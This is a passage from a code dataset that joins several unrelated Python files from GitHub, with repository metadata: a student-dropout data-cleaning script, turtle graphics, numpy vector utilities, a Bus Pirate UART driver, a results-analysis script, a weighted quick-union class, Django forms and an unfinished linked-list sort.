'graduate_ind',\n 'diploma_completer_ind',\n 'First_Entry_Code',\n 'First_Entry_Code_Desc',\n 'Diploma_Type',\n 'OSS_SUSP_NUMBERS',\n 'school_name'\n \n ], axis=1)\n \n \n df_attendance = attendance_function(df)\n df_attendance.to_csv(cleaned, header=True, index=False, date_format='%Y%m%d')\n \ndef simplified_outcome_detail_code(outcome_dat, detail_dat):\n #for possible I will just be using 180 for each academic year\n #need: student_id, school_id, period_start, and period_end\n column_names = {\n 'COURSE_CD':'code',\n 'COURSE_LONG_DESC':'name',\n 'SCHOOL_SHT_NAME':'school_name',\n 'STUDENT_ID': 'student_id',\n 'FIRST_TIME_9TH_GRADER_COHORT': 'cohort', #this seems to be the year that they finished 9th grade\n 'BIRTH_DT': 'date_of_birth',\n 'GENDER_DESC': 'gender',\n 'ALT_RACE_DESC': 'race_ethnicity',\n 'SPED': 'sped_any',\n 'ETl_school_year':'academic_year',\n 'ETL_SCHOOL_YEAR':'academic_year',\n 'SCHOOL_ID':'school_id',\n 'SCHOOL_LONG_NAME': 'school_name',\n 'SCHOOL_SHT_NAME':'school_name',\n 'COURSE_CD':'code',\n 'COURSE_LONG_DESC' : 'desc',\n 'Mark': 'mark',\n 'Total_Tardies':'tardy',\n 'Total_Absence':'absence_excused',\n 'GRADE_LEVEL_CD':'grade_level'\n\n #need school ID. will have to write something to look this up --> Can get from detail dat\n\n }\n\n df_detail = pd.read_csv(detail_dat, sep=',', header=0, dtype=object)\n df_outcome = pd.read_csv(outcome_dat, sep=',', header =0, dtype = object)\n\n \n df_outcome.rename(columns=column_names, inplace=True)\n df_detail.rename(columns = column_names, inplace=True)\n \n \n #we have more outcome data than we have student ID data. \n #After some investigation I find that some students must have more than one outcome\n \n df_outcome = convert_ac_year(df_outcome, return_df = True)\n df_detail = convert_ac_year(df_detail, return_df = True)\n \n df_outcome = df_outcome.drop(['Year_Type',\n 'school_name',\n #'grade_level', #this is not accurate in the outcome file. It is always listed as 12 even though it isn't\n 'race_ethnicity',\n 'gender',\n 'Entry_Date',\n 'ENTRY_REASON_CD',\n \n ],\n axis = 1)\n \n df_outcome.grade_level = -1\n df_detail = df_detail.drop(['school_name',\n 'race_ethnicity',\n 'gender',\n 'FRL',\n 'LEP',\n 'sped_any',\n 'absence_excused',\n 'tardy',\n 'cohort',\n 'OSS_SUSP_NUMBERS',\n 'First_Entry_Code_Desc',\n 'Diploma_Type',\n 'diploma_completer_ind',\n 'First_Entry_Code',\n \n ],\n axis = 1)\n \n\n df_detail['code'] = 'end_of_year'#'end_of_year'\n df_detail['code'][df_detail['graduate_ind']=='1'] = 'graduate'\n df_detail = df_detail.drop(['graduate_ind'], axis = 1)\n \n \n df_detail = df_detail.sort(['student_id', 'grade_level'])\n df_detail['at_default_school'] = True #I will set this to True for the detail df\n df_outcome = df_outcome.sort(['student_id'])\n df_outcome['at_default_school'] = True #Just set this to false for now and will check later\n df_code = df_outcome.copy()\n df_outcome = df_outcome.drop(['EXIT_CODE_LONG_DESCRIPTION'], axis=1)\n df_code = df_code.drop(['academic_year',\n \n 'student_id',\n 'school_id',\n 'Exit_Date',\n ], axis =1)\n \n df_code = df_code.drop_duplicates(['EXIT_REASON_CD'])\n\n\n return df_detail, df_outcome\n\ndef clean_for_outcome(outcome_dat, detail_dat, cleaned): \n APScode_to_standard = {'W503':'exit',\n 'W310':'exit',\n 'W970':'exit',\n 'W402':'exit',\n 'W313':'exit',\n 'W870':'exit',\n 'W321':'exit',\n 'W217':'exit',\n 'W306':'exit', \n 'W307':'exit',\n 'W305':'exit',\n 'W304':'exit',\n 'W312':'exit',\n 'W960':'exit',\n 'W4TJ':'exit',\n 'W880':'dropout',\n 'W201':'transfer_internal',\n 'W503':'exit',\n 'W016':'transfer_internal',\n 'W115':'transfer_internal',\n 'W99': 'end_of_year_outcome', \n 'W411':'other',\n 'W730':'graduate',\n 'W731':'graduate'}\n\n df_detail, df_outcome = simplified_outcome_detail_code(outcome_dat, detail_dat)\n \n #I'm going to drop anything with 'end_of_year_outcome' because I think it doesn't give us any information\n df_outcome = df_outcome[df_outcome.EXIT_REASON_CD != 'W99']\n df_outcome['code'] = df_outcome['EXIT_REASON_CD'].map(APScode_to_standard)\n df_outcome.drop(['EXIT_REASON_CD'], axis = 1, inplace = True)\n df_detail['d'] = df_detail.academic_year.astype(int)\n df_detail['Exit_Date'] = '6/30/'+df_detail.d.astype(str)\n df_detail.drop(['d'], axis = 1, inplace = True)\n df_detail.grade_level[df_detail.grade_level == 'TT'] = '77'\n df_detail.grade_level[df_detail.grade_level == 'GD'] = '77'\n \n dates = df_outcome['Exit_Date'].apply(clean_date)\n df_outcome['Exit_Date']=dates\n df_outcome['date'] = df_outcome.Exit_Date\n df_detail['date'] = df_detail.Exit_Date\n \n #df = pd.concat([df_detail, df_outcome])\n df = pd.concat([df_outcome, df_detail])\n \n #I think TT and GD are continuing education codes\n #I have put grade level from outcome table as -1\n \n df = df.sort(['student_id', 'date', 'grade_level']) \n df = df.drop_duplicates(['academic_year', 'student_id', 'code', 'school_id', 'grade_level'])\n \n neg1 = (df['grade_level']=='-1').values\n \n st_ids = df.student_id.values[neg1]\n ac_yrs = df.academic_year.values[neg1]\n new_grades = np.array([clean_grade(df_detail, st_ids[i], ac_yrs[i]) for i in range(len(st_ids))])\n \n df.grade_level[neg1] = new_grades\n df.grade_level = df.grade_level.astype(int)\n df.student_id = df.student_id.astype(int)\n df.academic_year = df.academic_year.astype(int)\n df_detail.student_id = df_detail.student_id.astype(int)\n df_detail.academic_year = df_detail.academic_year.astype(int)\n df_detail.grade_level = df_detail.grade_level.astype(int)\n \n df = df.drop_duplicates(['academic_year', 'student_id', 'code', 'school_id', 'grade_level'])\n \n g1 = (df['code']=='end_of_year').values\n st_ids = df.student_id.values[g1]\n ac_yrs = df.academic_year.values[g1]\n new_codes = np.array([clean_advance_retain(df_detail, st_ids[i], ac_yrs[i]) for i in range(len(st_ids))])\n df.code[g1] = new_codes\n\n df = df[df['grade_level']!=-1]\n \n g1 = (df.code == 'dropout') | (df.code == 'exit') | (df.code == 'graduate') \n st_ids = df[g1].student_id.values\n ac_yrs = df[g1].academic_year.values\n drop_inds = list(set([clean_exit(df, st_ids[i], ac_yrs[i]) for i in range(len(st_ids))]))\n drop_inds = np.array(drop_inds)\n drop_inds = drop_inds[drop_inds>0]\n \n df.code.iloc[drop_inds]='drop'\n df = df[df.code != 'drop']\n \n #let's make sure all the columns are the right datatype\n df.student_id = df.student_id.astype(int)\n df.school_id = df.school_id.astype(int)\n df.academic_year = df.academic_year.astype(int)\n df.grade_level = df.grade_level.astype(int)\n pd.to_datetime(df.date, format='%m/%d/%Y', errors='coerce')\n df.code= df.code.astype(Enum)\n\n df['date'] = df['Exit_Date']\n df.drop(['Exit_Date'], axis = 1, inplace=True)\n \n \n df.to_csv(cleaned, header=True, index=False, date_format='%Y%m%d')\n","repo_name":"lisamnash/predicting_dropouts","sub_path":"etl/sys1/clean.py","file_name":"clean.py","file_ext":"py","file_size_in_byte":27006,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"29369183675","text":"# https://seongjuhong.com/2019-06-25am-how-to-draw-random-flower-with-python-turtle/\n\nfrom random import randrange\nfrom turtle import Turtle, Screen\n\nMAX_ANGLE = 30\nMAX_DISTANCE = 250\n\ndef jaggedLine (turtle, pieceLength):\n randomColor(turtle)\n\n while turtle.distance(0,0) < MAX_DISTANCE:\n angle = randrange(-MAX_ANGLE, MAX_ANGLE +1)\n turtle.right(angle)\n turtle.forward(pieceLength)\n\ndef jumToCenter(turtle):\n turtle.penup()\n turtle.home()\n turtle.pendown()\n\ndef randomColor(turtle):\n r = randrange(255)\n g = randrange(255)\n b = randrange(255)\n\n turtle.pencolor(r, g, b)\n\ndef main():\n s = Screen()\n s.colormode(255)\n t = Turtle()\n t.speed('fastest') # because I have no patience\n\n for angle in range (0, 360, 2):\n jumToCenter(t)\n t.setheading(angle)\n jaggedLine(t, 30)\n\n t.hideturtle()\n\n s.mainloop()\n\nif __name__ == \"__main__\":\n main()","repo_name":"mervy/playing-with-python","sub_path":"playingWithTurtle/randomFlower.py","file_name":"randomFlower.py","file_ext":"py","file_size_in_byte":930,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"21221477644","text":"import numpy as np\n\nfrom implicit_config import TOLERANCE\nfrom implicit_config import VERBOSE\n\n\ndef make_inverse(m):\n assert not issubclass(m.dtype.type, np.integer)\n assert m.shape == (4, 4), \"Matrix must be 4x4\"\n invm = np.linalg.inv(m)\n assert np.allclose(np.dot(invm, m), np.eye(4), atol=TOLERANCE), \"Matrix inversion failed: Matrix is singular or bad conditioned\"\n assert np.allclose(np.dot(m, invm), np.eye(4), atol=TOLERANCE), \"Matrix inversion failed: Matrix is singular or bad conditioned\"\n error = np.sum(np.abs(np.dot(invm, m) - np.eye(4)))\n if VERBOSE:\n print(\"Error of the inverse matrix: %2.20f\" % error)\n v0001 = np.reshape(np.array((0, 0, 0, 1)), (4))\n assert np.allclose(invm[3, :], v0001, atol=TOLERANCE), \"Last row of the inverse matrix should be 0,0,0,1 \"\n return invm\n\n\ndef check_matrix4(m):\n assert not issubclass(m.dtype.type, np.integer)\n assert m.shape == (4, 4), \"Matrix must be 4x4\"\n assert np.allclose(m[3, :], np.array((0, 0, 0, 1)), atol=0.00000000001), \"Last row of any Matrix4 must be 0,0,0,1\"\n assert not np.any( np.isnan(m.ravel()) )\n assert not np.any( np.isinf(m.ravel()) )\n\ndef check_matrix4_vectorized(m):\n assert not issubclass(m.dtype.type, np.integer)\n assert m.shape[1, :] == (4, 4), \"Matrix must be Nx4x4\"\n for i in range(m.shape[0]):\n assert np.allclose(m[i, 3, :], np.array((0, 0, 0, 1)), atol=0.00000000001), \"Last row of any Matrix4 must be 0,0,0,1\"\n assert not np.any( np.isnan(m.ravel()) )\n assert not np.any( np.isinf(m.ravel()) )\n\n\ndef check_matrix3_vectorized(h):\n #print(h.ndim)\n #print(h.ndim == 3)\n #print(h.shape)\n #print(h.shape[1:])\n #print(h.shape[1:] == (3,3) )\n assert h.ndim == 3, \"not 3d\"\n #assert(h.shape[1] == 3)\n #assert(h.shape[2] == 3)\n assert h.shape[1:] == (3, 3), \"not :x3x3\"\n assert not np.any( np.isnan(h.ravel()) )\n assert not np.any( np.isinf(h.ravel()) )\n\n\ndef check_vector4(p):\n assert not issubclass(p.dtype.type, np.integer)\n assert p.shape == (4,), \"Vector must be a numpy array of (4) elements\"\n assert p[3] == 1.0, \"4th element of every Vector must be 1.0\"\n assert not np.any( np.isnan(p.ravel()) )\n assert not np.any( np.isinf(p.ravel()) )\n\n\ndef check_vector4_vectorized(pa):\n #assert not issubclass(np.dtype('int8').type, np.integer)\n assert not issubclass(pa.dtype.type, np.integer)\n assert pa.ndim == 2\n assert pa.shape[1:] == (4,), \"Vector must be a numpy array of (Nx4) elements\"\n e = np.sum(np.abs(pa[:, 3]-1))\n if e > 0.0:\n print(\"EERROR:\", e)\n assert np.allclose(pa[:, 3], 1, 0.00000000000001), \"4th element of every Vector must be 1.0\"\n assert not np.any( np.isnan(pa.ravel()) )\n assert not np.any( np.isinf(pa.ravel()) )\n\ndef check_scalar_vectorized(va, N=None):\n #assert va.ndim == 2 #dont force 2 dim. can accesp .shape==(100,)\n assert not issubclass(va.dtype.type, np.integer)\n n = va.shape[0]\n if va.ndim == 2:\n assert va.shape[1] == 1\n assert va.shape == (n, 1), \"values must be a numpy array of (N,) or (Nx1) elements\"\n if not N is None:\n assert va.shape[0] == N\n assert not np.any( np.isnan(va.ravel()) )\n assert not np.any( np.isinf(va.ravel()) )\n\ndef make_vector4_numpy(v):\n assert issubclass(type(v), np.ndarray)\n assert v.size == 3 or v.size == 4\n\n assert not np.any( np.isnan(v.ravel()) )\n assert not np.any( np.isinf(v.ravel()) )\n\n v = v.ravel()\n return np.array((float(v[0]), float(v[1]), float(v[2]), 1.0))\n\n\ndef make_vector4(x, y, z):\n xyz = np.array([x,y,z])\n assert not np.any( np.isnan(xyz) )\n assert not np.any( np.isinf(xyz) )\n\n if issubclass(type(x), np.ndarray):\n return np.array((float(x[0]), float(y[1]), float(z[1]), 1.0))\n\n return np.array((float(x), float(y), float(z), 1.0))\n\ndef make_vector4_vectorized(x, y, z):\n return make_vector4(x, y, z).reshape((1,4))\n\n\ndef almost_equal4(a, b, TOLERANCE):\n assert not np.any( np.isnan(a.ravel()) )\n assert not np.any( np.isinf(b.ravel()) )\n assert not issubclass(a.dtype.type, np.integer)\n check_vector4(a)\n check_vector4(b)\n return np.sum(np.abs(a - b)) < TOLERANCE\n\n\ndef almost_equal1(a, b, TOLERANCE):\n \"\"\" Scalar version \"\"\"\n assert not issubclass(a.dtype.type, np.integer)\n np.isscalar(a)\n np.isscalar(b)\n return np.sum(np.abs(a - b)) < TOLERANCE\n\n\ndef almost_equal4_vectorized(a, b, TOLERANCE):\n assert a.ndim == 2\n assert b.ndim == 2\n check_vector4_vectorized(a)\n check_vector4_vectorized(a)\n return np.sum(np.abs(a[:, :] - b[:, :])) < TOLERANCE\n\n\ndef check_matrix3(m):\n #print(m.shape)\n assert m.shape == (3, 3)\n\n\ndef make_random_vector(norm, POW, type=\"rand\"):\n if type == \"rand\":\n r = np.random.rand(3)*2 - 1\n elif type == \"randn\":\n r = np.random.randn(3)\n else:\n raise Error(\"nknown random distribution\")\n\n r[:] = np.sign(r[:]) * np.abs(r[:]) ** POW\n r = r / np.sqrt(np.dot(r, r))\n assert (r[0]*r[0] + r[1]*r[1] + r[2]*r[2] - 1) < 0.00000000001\n r = r * norm\n for i in range(0, 3):\n if np.abs(r[i]) < 0.0000001:\n r[i] = 0\n return np.array((r[0], r[1], r[2], 1))\n\n\ndef make_random_vector_vectorized(N, norm, POW, type=\"rand\", normalize=True):\n r = np.ones((N, 4))\n\n #not tested:\n if type == \"rand\":\n r[:, 0:3] = np.random.rand(N, 3)*2 - 1\n elif type == \"randn\":\n r[:, 0:3] = np.random.randn(N, 3)\n else:\n raise Error(\"nknown random distribution\")\n\n r[:, 0:3] = np.sign(r[:, 0:3]) * np.abs(r[:, 0:3]) ** POW\n #r[:,0:3] = r[0:3] / np.tile( np.sqrt( np.sum(r[:,0:3] * r[:,0:3], axis=1, keepdims=True) ) , (1,3) )\n n3 = np.sqrt(np.sum(r[:, 0:3] * r[:, 0:3], axis=1, keepdims=True))\n if normalize:\n r[:, 0:3] = r[:, 0:3] / np.tile(n3, (1, 3))\n s_1 = np.sum(r[:, 0:3] * r[:, 0:3], axis=1) - 1\n assert np.all(np.abs(s_1) < 0.00000000001)\n r[:, 0:3] = r[:, 0:3] * norm\n r[:, 3] = 1\n check_vector4_vectorized(r)\n return r\n\n\ndef normalize_vector(v, snapToZero=False):\n assert not np.any( np.isnan(v.ravel()) )\n assert not np.any( np.isinf(v.ravel()) )\n\n r = v.copy()\n #r[:] = np.sign(r[:]) * np.abs(r[:]) ** POW\n r = r / np.sqrt(np.dot(r, r))\n assert (r[0]*r[0] + r[1]*r[1] + r[2]*r[2] - 1) < 0.00000000001\n if snapToZero:\n for i in range(0, 3):\n if np.abs(r[i]) < 0.0000001:\n r[i] = 0\n r[3] = 1\n return r\n\n#todo: http://floating-point-gui.de/errors/comparison/\n\n#todo: write tests for this\ndef normalize_vector4_vectorized(v, zero_normal=\"leave_zero_norms\"):\n \"\"\" returns vectors of either length 1 or zero. \"\"\"\n N = v.shape[0]\n assert not issubclass(v.dtype.type, np.integer)\n assert not np.any( np.isnan(v) )\n assert not np.any( np.isinf(v) )\n\n # norms = np.linalg.norm(v[:,0:3], axis = 1, keepdims=True, ord=2)\n norms = np.sqrt(np.sum(v[:,0:3] * v[:,0:3], axis=1, keepdims=True))\n denominator = np.tile(norms, (1, 4))\n if zero_normal==\"leave_zero_norms\":\n zeros_i = np.abs(norms.ravel()) < 0.00000001\n non_zero_i = np.logical_not(zeros_i)\n if not np.any(zeros_i):\n c = 1.0 / denominator\n else:\n c = np.ones(denominator.shape)\n c[non_zero_i,:] = 1.0 / denominator[non_zero_i,:]\n else:\n pass\n assert not np.any( np.isnan(c) )\n assert not np.any( np.isinf(c) )\n r = v * c\n assert r.shape[0] == N\n df = np.sum(r[:,0:3] * r[:,0:3], axis=1)\n #print(df.shape)\n #print(df)\n #print(non_zero_i)\n e1a = np.all(np.abs(df[non_zero_i]-1.0) < 0.00000000001)\n e0a = np.all(np.abs(df[zeros_i]) < 0.00000000001)\n\n if not (e1a and e0a):\n print(\"r:\", r)\n print(\"v:\", v)\n print(\"c:\", v)\n print(\"denom: \", denominator)\n print(norms)\n print(denominator)\n print(np.sum(r[:,0:3] * r[:,0:3], axis=1))\n\n #print (e1a)\n #print (e0a)\n assert e1a and e0a # np.all(np.logical_or(e1a, e0a))\n r[:, 3] = 1\n return r\n\n\ndef repeat_vect4(N, v4):\n check_vector4(v4)\n _x = v4\n xa = np.tile(np.expand_dims(_x, axis=0), (N, 1))\n assert xa.shape[0] == N\n return xa\n\n\nimport sys\ndef is_python3():\n #import sys\n v = sys.version_info.major\n return v == 3\n","repo_name":"sohale/implisolid","sub_path":"python_implicit/basic_types.py","file_name":"basic_types.py","file_ext":"py","file_size_in_byte":8298,"program_lang":"python","lang":"en","doc_type":"code","stars":17,"dataset":"github-code","pt":"21"} +{"seq_id":"23030435398","text":"from .base import BPError, BusPirate\n\nFOSC = (32000000 / 2)\n\n\nclass UARTCfg:\n OUTPUT_TYPE = 0x10\n DATABITS = 0x0C\n STOPBITS = 0x02\n POLARITY = 0x01\n\n\nclass UARTSpeed:\n _300 = 0b0000\n _1200 = 0b0001\n _2400 = 0b0010\n _4800 = 0b0011\n _9600 = 0b0100\n _19200 = 0b0101\n _33250 = 0b0110\n _38400 = 0b0111\n _57600 = 0b1000\n _115200 = 0b1001\n\n\nclass UART(BusPirate):\n def __init__(self, portname='', speed=115200, timeout=0.1, connect=True):\n \"\"\" Provide the Bus Pirate UART interface\n\n Parameters\n ----------\n portname : str\n Name of comport (/dev/bus_pirate or COM3)\n speed : int\n Communication speed, use default of 115200\n timeout : int\n Timeout in s to wait for reply\n connect : bool\n Automatically connect to BusPirate (default) \n\n Example\n -------\n >>> uart = UART()\n \"\"\"\n self._config = None\n self._echo = False\n super().__init__(portname, speed, timeout, connect)\n\n def enter(self):\n \"\"\" Enter UART mode\n\n Raises\n ------\n BPError\n Could not enter UART mode\n \"\"\"\n if self.mode == 'uart':\n return\n if self.mode != 'bb':\n super(UART, self).enter()\n self.write(0x03)\n self.timeout(self.minDelay * 10)\n if self.response(4) == \"ART1\":\n self.mode = 'uart'\n self.bp_port = 0b00 # two bit port\n self.bp_config = 0b0000\n self.recurse_end()\n return\n self.recurse_flush(self.enter)\n raise BPError('Could not enter UART mode')\n\n @property\n def modestring(self):\n \"\"\" Return mode version string \"\"\"\n self.write(0x01)\n self.timeout(self.minDelay * 10)\n return self.response(4)\n\n @property\n def echo(self):\n return self._echo\n\n @echo.setter\n def echo(self, mode):\n if mode is True:\n self.write(0x03)\n else:\n self.write(0x02)\n if self.response(1, binary=True) != b'\\x01':\n raise ValueError(\"Could not set echo mode\")\n self._echo = mode\n\n def manual_speed_cfg(self, baud):\n \"\"\" Manual baud rate configuration, send 2 bytes\n\n Configures the UART using custom baud rate generator settings. This command is followed by two data bytes that\n represent the BRG register value. Send the high 8 bits first, then the low 8 bits.\n\n Use the UART manual [PDF] or an online calculator to find the correct value (key values: fosc 32mHz,\n clock divider = 2, BRGH=1) . Bus Pirate responds 0x01 to each byte. Settings take effect immediately.\n \"\"\"\n BRG = (FOSC // (4 * baud)) - 1\n BRGH = ((BRG >> 8) & 0xFF)\n BRGL = (BRG & 0xFF)\n self.write(0x03)\n self.write(BRGH)\n self.write(BRGL)\n self.timeout(0.1)\n return self.response()\n\n def begin_input(self):\n self.write(0x04)\n\n def end_input(self):\n self.write(0x05)\n\n def enter_bridge_mode(self):\n \"\"\" UART bridge mode (reset to exit)\n\n Starts a transparent UART bridge using the current configuration. Unplug the Bus Pirate to exit.\n \"\"\"\n self.write(0x0f)\n self.timeout(0.1)\n self.response(1, binary=True)\n\n def set_cfg(self, cfg):\n self.write(0xC0 | cfg)\n self.timeout(0.1)\n return self.response(1, binary=True)\n\n def read_cfg(self):\n self.write(0xd0)\n self.timeout(0.1)\n return self.response(1, binary=True)\n","repo_name":"juhasch/pyBusPirateLite","sub_path":"pyBusPirateLite/UART.py","file_name":"UART.py","file_ext":"py","file_size_in_byte":3617,"program_lang":"python","lang":"en","doc_type":"code","stars":55,"dataset":"github-code","pt":"21"} +{"seq_id":"14664769513","text":"import ujson as json\nimport os\nfrom nltk.tokenize import word_tokenize\nfrom nltk.tag import pos_tag\nfrom nltk.stem import WordNetLemmatizer\nimport collections\nimport pandas as pd\n\nwnl = WordNetLemmatizer()\n\n\ndef lemmatize_all(sentence):\n wnl = WordNetLemmatizer()\n sen = [w.lower() for w in word_tokenize(sentence)]\n for word, tag in pos_tag(sen):\n if tag.startswith('NN'):\n yield wnl.lemmatize(word, pos='n')\n elif tag.startswith('VB'):\n yield wnl.lemmatize(word, pos='v')\n elif tag.startswith('JJ'):\n yield wnl.lemmatize(word, pos='a')\n elif tag.startswith('R'):\n yield wnl.lemmatize(word, pos='r')\n else:\n yield word\n\n\ndef gen_train(path):\n all_alt = []\n SPACE = ' '\n i = 0\n with open(path, 'r', encoding='ISO-8859-1') as fh:\n for line in fh:\n i += 1\n line = line.strip().split('\\t')\n del line[0]\n alt = SPACE.join(lemmatize_all(line[1]))\n all_alt.append(alt)\n alt = SPACE.join(lemmatize_all(line[4]))\n all_alt.append(alt)\n fh.close()\n\n return all_alt\n\n\ndef gen_test(path, error_meta=None):\n fp_alt = []\n fn_alt = []\n all_alt = []\n SPACE = ' '\n i = 0\n with open(path, 'r', encoding='utf8') as fh:\n for line in fh:\n i += 1\n line = line.strip().split('\\t')\n del line[-1]\n alt = SPACE.join(lemmatize_all(line[1]))\n all_alt.append(alt)\n if error_meta:\n if i in error_meta['FP']:\n fp_alt.append(alt)\n elif i in error_meta['FN']:\n fn_alt.append(alt)\n fh.close()\n ids = [j for j in range(1, i + 1)]\n for fp in error_meta['FP']:\n ids.remove(fp)\n for fn in error_meta['FN']:\n ids.remove(fn)\n\n return fp_alt, fn_alt, all_alt, ids\n\n\n# english_punctuations = [',', '.', ':', ';', '?', '(', ')', '[', ']', '&', '!', '*', '@', '#', '$', '%', '\"', '``',\n# '-', '\\'\\''] seg_test_filtered = [[[word.lower() for word in seg if word not in english_punctuations] for seg in\n# sen] for sen in sens]\n\n\nif __name__ == \"__main__\":\n training_path = '../data/raw_data/altlex_train.tsv'\n boot_path = '../data/raw_data/altlex_train_bootstrapped.tsv'\n valid_path = '../data/raw_data/altlex_dev.tsv'\n test_path = '../data/raw_data/altlex_gold.tsv'\n\n training_all_alt = gen_train(training_path)\n tr_total = len(training_all_alt)\n boot_all_alt = gen_train(boot_path)\n bt_total = len(boot_all_alt)\n training_set = set(training_all_alt)\n boot_set = set(boot_all_alt)\n\n error_path = '../outputs/bootstrapped/MCDN/results/FALSE_valid.json'\n with open(error_path, 'r') as fh:\n error_meta = json.load(fh)\n test_fp_alt, test_fn_alt, test_all_alt, ids = gen_test(test_path, error_meta)\n te_total = len(test_all_alt)\n fn_total = len(test_fn_alt)\n fp_total = len(test_fp_alt)\n test_set = set(test_all_alt)\n not_in_training = test_set.difference(test_set.intersection(training_set))\n not_in_boot = test_set.difference(test_set.intersection(boot_set))\n print(\"Not in training: \", not_in_training)\n print(\"Not in bootstrapped: \", not_in_boot)\n\n tc = collections.Counter(training_all_alt)\n bc = collections.Counter(boot_all_alt)\n fpc = collections.Counter(test_fp_alt)\n fnc = collections.Counter(test_fn_alt)\n tec = collections.Counter(test_all_alt)\n print('Top 5 in Train: ', tc.most_common(5))\n tck, tcv = [], []\n tc_acu = 0\n for k, v in tc.most_common(10):\n tck.append(k)\n tcv.append(v)\n tc_acu += v\n print(tc_acu / tr_total)\n\n print('Top 5 in Test: ', tec.most_common(5))\n tek, tev = [], []\n te_acu = 0\n for k, v in tec.most_common(10):\n tek.append(k)\n tev.append(v)\n te_acu += v\n print(te_acu / te_total)\n\n print('Top 5 in FP: ', fpc.most_common(5))\n fpk, fpv = [], []\n fp_acu = 0\n for k, v in fpc.most_common(10):\n fpk.append(k)\n fpv.append(v)\n fp_acu += v\n print(fp_acu / fp_total)\n\n print('Top 5 in FN: ', fnc.most_common(5))\n fnk, fnv = [], []\n fn_acu = 0\n for k, v in fnc.most_common(10):\n fnk.append(k)\n fnv.append(v)\n fn_acu += v\n print(fn_acu / fn_total)\n\n print(ids)\n df = pd.DataFrame({'train_word': tck, 'train_freq': tcv, 'test_word': tek, 'test_freq': tev,\n 'fp_word': fpk, 'fp_freq': fpv, 'fn_word': fnk, 'fn_freq': fnv})\n df.to_csv('../analysis.csv', index=False)\n","repo_name":"shiningliang/Multi-level-Causality-Detection-Network","sub_path":"utils/result_analyze.py","file_name":"result_analyze.py","file_ext":"py","file_size_in_byte":4590,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"21"} +{"seq_id":"8516473237","text":"# Lazy algorithm for solving dynamic connectivity problem\n# Modified quick union - link root of smaller tree t o root of larger tree\n# Data structure\n# Integer array id[] of size N\n# Interpretation - array representing set of trees, each entry in array contains reference to parent\n# id[i] is parent of i\n# root of i is id[id[i]] - keep going until the value doesn't change\n\nfrom QuickUnion import QuickUnion\n\n\nclass WeightedQuickUnion(QuickUnion):\n\n # n being the number of nodes\n # sz being the size of the tree\n def __init__(self, n):\n super().__init__(n)\n self.sz = []\n for x in range(n):\n # Set the size of each tree initially to 1\n self.sz.append(1)\n\n # Given two nodes, connect them\n # Two nodes are connected by setting id of the smallest root to the id of the largest root\n def union(self, first_id, second_id):\n first_root = self.root(first_id)\n second_root = self.root(second_id)\n # If first_id has a greater sized tree, set second_id root to first_id root, and update the size of first_id\n if self.sz[first_id] >= self.sz[second_root]:\n self.id[second_id] = first_root\n self.sz[first_id] += self.sz[second_id]\n else:\n self.id[first_id] = second_root\n self.sz[second_id] += self.sz[first_id]\n\n\n","repo_name":"UnnervingOstrich/Algorithms","sub_path":"DynamicConnectivity/WeightedQuickUnion.py","file_name":"WeightedQuickUnion.py","file_ext":"py","file_size_in_byte":1352,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"34878707177","text":"from django import forms\n\nSEVERITY_CHOICES_ENG = [\n\t('INFORMATIONAL', 'INFORMATIONAL'),\n\t('LOW', 'LOW'),\n ('MEDIUM', 'MEDIUM'),\n ('HIGH', 'HIGH'),\n ('CRITICAL', 'CRITICAL')\n]\n\nSEVERITY_CHOICES_SPA = [\n\t('INFORMATIONAL', 'INFORMATIONAL'),\n\t('BAJO', 'BAJO'),\n ('MEDIO', 'MEDIO'),\n ('ALTO', 'ALTO'),\n ('CRITICO', 'CRITICO')\n]\n\nclass ObservationForm(forms.Form):\n description = forms.CharField(label='Description', required=True, widget=forms.Textarea(attrs={'rows':4, 'cols':40}))\n description_note = forms.CharField(label='Description Note', required=True, widget=forms.Textarea(attrs={'rows':4, 'cols':40}))\n implication = forms.CharField(label='Implication', required=True, widget=forms.Textarea(attrs={'rows':4, 'cols':40}))\n recommendation = forms.CharField(label='Recommendation', required=True, widget=forms.Textarea(attrs={'rows':4, 'cols':40}))\n recommendation_note = forms.CharField(label='Recommendation Notes', required=True, widget=forms.Textarea(attrs={'rows':4, 'cols':40}))\n #\n severity = forms.CharField(label='Severity', widget=forms.Select(choices=SEVERITY_CHOICES_SPA), required=True)\n\n def populate(self, mongo_obj):\n self.fields['description'].initial = mongo_obj['OBSERVATION']['TITLE']\n self.fields['description_note'].initial = mongo_obj['OBSERVATION']['NOTE']\n self.fields['implication'].initial = mongo_obj['IMPLICATION']\n self.fields['recommendation'].initial = mongo_obj['RECOMMENDATION']['TITLE']\n self.fields['recommendation_note'].initial = mongo_obj['RECOMMENDATION']['URLS']\n #\n choices = SEVERITY_CHOICES_ENG if mongo_obj['LANGUAGE'] == 'eng' else SEVERITY_CHOICES_SPA\n self.fields['severity'].widget.choices = choices\n\nclass ApproverForm(forms.Form):\n file = forms.FileField()","repo_name":"badBounty/VM-Orchestrator","sub_path":"VM_Orchestrator/VM_OrchestratorApp/forms.py","file_name":"forms.py","file_ext":"py","file_size_in_byte":1810,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"17639153536","text":"# -*- coding: utf-8 -*-\n\n\"\"\"\ncreated by huash06 at 2015-04-27 20:47\n\nSort a linked list in O(n log n) time using constant space complexity.\n\n\"\"\"\n\n__author__ = 'huash06'\n\nimport sys\nimport os\nimport itertools\nimport collections\nimport functools\nimport bisect\nimport datetime\n\n\n# Definition for singly-linked list.\nclass ListNode:\n def __init__(self, x):\n self.val = x\n self.next = None\n\n\n def output(self):\n print(self.val, end='->')\n if self.next:\n self.next.output()\n\nclass Solution:\n # @param {ListNode} head\n # @return {ListNode}\n def sortList(self, head):\n if not head:\n return None\n l = 0\n h = head\n while h:\n l += 1\n h = h.next\n return self.mergeSort(head, l)\n\n\n def mergeSort(self, head, lenlist):\n if lenlist == 1:\n return head\n elif lenlist == 2:\n if head.val > head.next.val:\n tmp = head.val\n head.val = head.next.val\n head.next.val = tmp\n return head\n\n h = head\n l = 1\n while l < lenlist // 2:\n h = h.next\n l += 1\n nh = h.next\n h.next = None\n h1 = self.mergeSort(head, l)\n h2 = self.mergeSort(nh, lenlist-l)\n return self.mergeList(h1, h2)\n\n\n def 